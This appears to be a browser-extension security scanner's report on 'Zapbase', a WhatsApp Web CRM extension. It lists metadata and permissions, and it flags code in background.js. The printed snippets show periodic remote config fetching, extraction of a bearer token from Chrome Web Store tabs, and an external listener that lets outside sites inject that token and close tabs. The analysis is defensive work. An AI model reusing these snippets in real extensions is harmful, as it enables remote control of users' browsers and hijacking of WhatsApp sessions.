Zapbase

Zapbase

ID: pldfelebkfalpldhfbeagfgmmmelajlc

Supported Languages

🇧🇷Brazilian Portuguese

Extension Info & Metadata

Status
Active
Version
7.4.3.55
Size
5.14 MB
Rating
5.0/5
Reviews
1
Users
34
Type
Extension
Updated
Jun 25, 2026
Category
Tools
Price
Paid
Featured
No
Visibility
Listed
Mature
No
By Google
No
Trusted
No

Publisher Contextual Analysis

Author
ewdhtView Profile
MX records exist
Yes
Domain exists
Yes
Is disposable
No
Is role-based
No
Mailbox exists
Yes
Total Extensions
20
Active
20
Obsolete
0
Listed
20
Unlisted
0
Total Users
2,663

Email Change History

1 change
Oct 9, 2025
Domain changed
Screenshot 1
Screenshot 2
Screenshot 3
Screenshot 4
Screenshot 5

Zapbase é um CRM para WhatsApp Web. Organize seus chats e otimize seus negócios no WhatsApp Web

Com novas funcionalidades para whatsapp web, você pode ter mais controle sobre seus leads além de prospectar mais clientes com envios em massa e exportação de contatos na Zapbase. Crie um verdadeiro funil de CRM para vender mais. Características: ✔ Envio em massa para seus contatos ou contatos importados por csv ✔ Crie Abas personalizadas, encontre facilmente seus contatos importantes Visão Kanban dos contatos do whatsapp organize seus leads ✔ Envie mensagens para um número que não esteja na sua agenda ✔ Crie notas para cada contato dentro do contato ✔ Você tem que ligar de volta? Crie lembretes para cada contato ✔ Agende Reuniões no google agenda direto do seu whatsapp ✔ Crie lembretes de forma simples e seja notificado no seu próprio whatsapp web ✔ Crie um banco de respostas rápidas para enviar com um clique ✔ Exporte todos seus contatos do whatsapp ou contatos de grupos de wpp ✔ Use em seu idioma nativo (português, espanhol, inglês) ✔ Borre as mensagens do seu whatsapp web para criar vídeos tutorias Importante: ✔ Aprovado na auditoria de segurança do Google Chrome ✔ Não usa banco de dados, tudo acontece no seu computador. Zapbase é uma extensão independente do Chrome que adiciona recursos extras ao seu WhatsApp web, não fazemos parte do WhatsApp Inc., não temos contrato de uso ou licenças exclusivas. WhatsApp é a marca registrada da WhatsApp Inc.

Item
Type
Severity
Description
unlimitedStorage
Permission
Medium
This permission removes storage quota restrictions. Rated Medium because it can store large amounts of user data without limits, potentially impacting browser performance and storing extensive tracking data.
storage
Permission
Medium
This permission allows storing data locally in the browser. Rated Medium because it can persist sensitive user data, track user activities over time, and potentially store malicious payloads.
tabs
Permission
Medium
This permission enables tab management and monitoring. Rated Medium because it can track open tabs, access tab metadata, and monitor user browsing patterns.
https://web.whatsapp.com/*
Host
Medium
Host permission — access limited to this URL pattern.
alarms
Permission
Low
This permission schedules periodic tasks. Rated Low because it can only trigger events at specified times without access to sensitive data.

Every 10 minutes (alarm 'Ten_Minutes', line 240) the extension fetches a JSON payload from the remote server https://code.wascript.com.br/config.json and forwards the entire response object to the WhatsApp Web content script as 'Update_DomSelector'. The remote server can modify the object's contents at any time without a CWS update, effectively enabling server-side control of content-script behaviour. The response also contains a 'remote_code' field (extracted at line 378) that points to additional remote assets, extending the attack surface beyond simple config updates.

background.js (Line 181)
const f = async () => {  try {    const t = await (await fetch(`${n.remote_code}config.json`, {        method: "GET"      }))      .json();    return s("https://web.whatsapp.com/*", "Update_DomSelector", t), t;  } catch (e) {    return console.error("Erro ao buscar configurações externas:", e), null;  }};

At install time, the extension queries all open Chrome Web Store tabs, extracts a 'bearer_token' query parameter from their URLs (line 136), and opens WhatsApp Web as https://web.whatsapp.com?bearer_token=${token} (line 109). The same navigation is triggered by external messages from app.wascript.com.br (externally_connectable, line 57 manifest). Appending an opaque token to the WhatsApp URL is the documented WaSteal credential-injection vector: the content script can read this URL parameter and relay it to the remote backend to authenticate against the victim's WhatsApp session.

background.js (Line 122)
async function y() {  const e = "*://chromewebstore.google.com/*";  try {    const t = await chrome.tabs.query({      url: e    });    if (t.length === 0)      return {        success: !1,        bearer_token: ""      };    for (const o of t)      if (o.url)        try {          const r = new URL(o.url).searchParams.get("bearer_token");          if (r)            return {              success: !0,              bearer_token: r            };        } catch (a) {          console.warn(`Erro ao processar a URL da aba ${o.id}:`, a);        }    return {      success: !1,      bearer_token: ""    };  } catch (t) {    return console.error("Erro ao consultar as abas do Chrome:", t), {      success: !1,      bearer_token: ""    };  }}

The extension registers an external message listener that accepts commands from https://app.wascript.com.br and https://dev.watools.com.br (manifest externally_connectable). The 'user_auth' action navigates WhatsApp to a URL embedding the caller-supplied bearer_token and can close the originating tab (removing the evidence tab from the victim's browser). This allows the remote operator's web application to trigger WhatsApp session injection at will, without any user interaction after the extension is installed.

background.js (Line 405)
L = () => {  chrome.runtime.onMessageExternal.addListener(async (e, t, o) => {    switch (e.action) {      case "is_instaled":        o({          success: !0        });        break;      case "open_whatsapp":        b(e.bearer);        break;      case "user_auth":        b(e.bearer_token), e.close_painel && t.tab && t.tab.id && setTimeout(() => {          chrome.tabs.remove(t.tab.id);        }, 100);        break;    }    return !0;  });};

By severity

Critical1
High2
Medium0
Low0

Versions scanned

Showing 1 of 109 scanned versions with more than one unique finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
7.4.3.553

Files with findings

1 distinct path — top paths by unique finding count:

  • background.js3
S.No.
Category
Severity
File
Summary
Found in Version
1Remote Code Loading
critical
background.js (line 181)Every 10 minutes (alarm 'Ten_Minutes', line 240) the extension fetches a JSON payload from the remote server https://code.wascript.com.br/config.json and forwards the entire response object to the WhatsApp Web content…
2Credential Theft
high
background.js (line 122)At install time, the extension queries all open Chrome Web Store tabs, extracts a 'bearer_token' query parameter from their URLs (line 136), and opens WhatsApp Web as https://web.whatsapp.com?bearer_token=${token} (li…
3Other
high
background.js (line 405)The extension registers an external message listener that accepts commands from https://app.wascript.com.br and https://dev.watools.com.br (manifest externally_connectable). The 'user_auth' action navigates WhatsApp t…
URLs
0
IPv4
0
IPv6
0

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

No URLs found

Gain full insight into all external connections.

Upgrade for full visibility.

No IP addresses found
Showing 1 to 10 of 110 rows
Rows per page:

Code Diff

Compare extension code between any two versions.

0 changed files (scanned top 25 shared text files)

No comparable text files found between these versions.

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.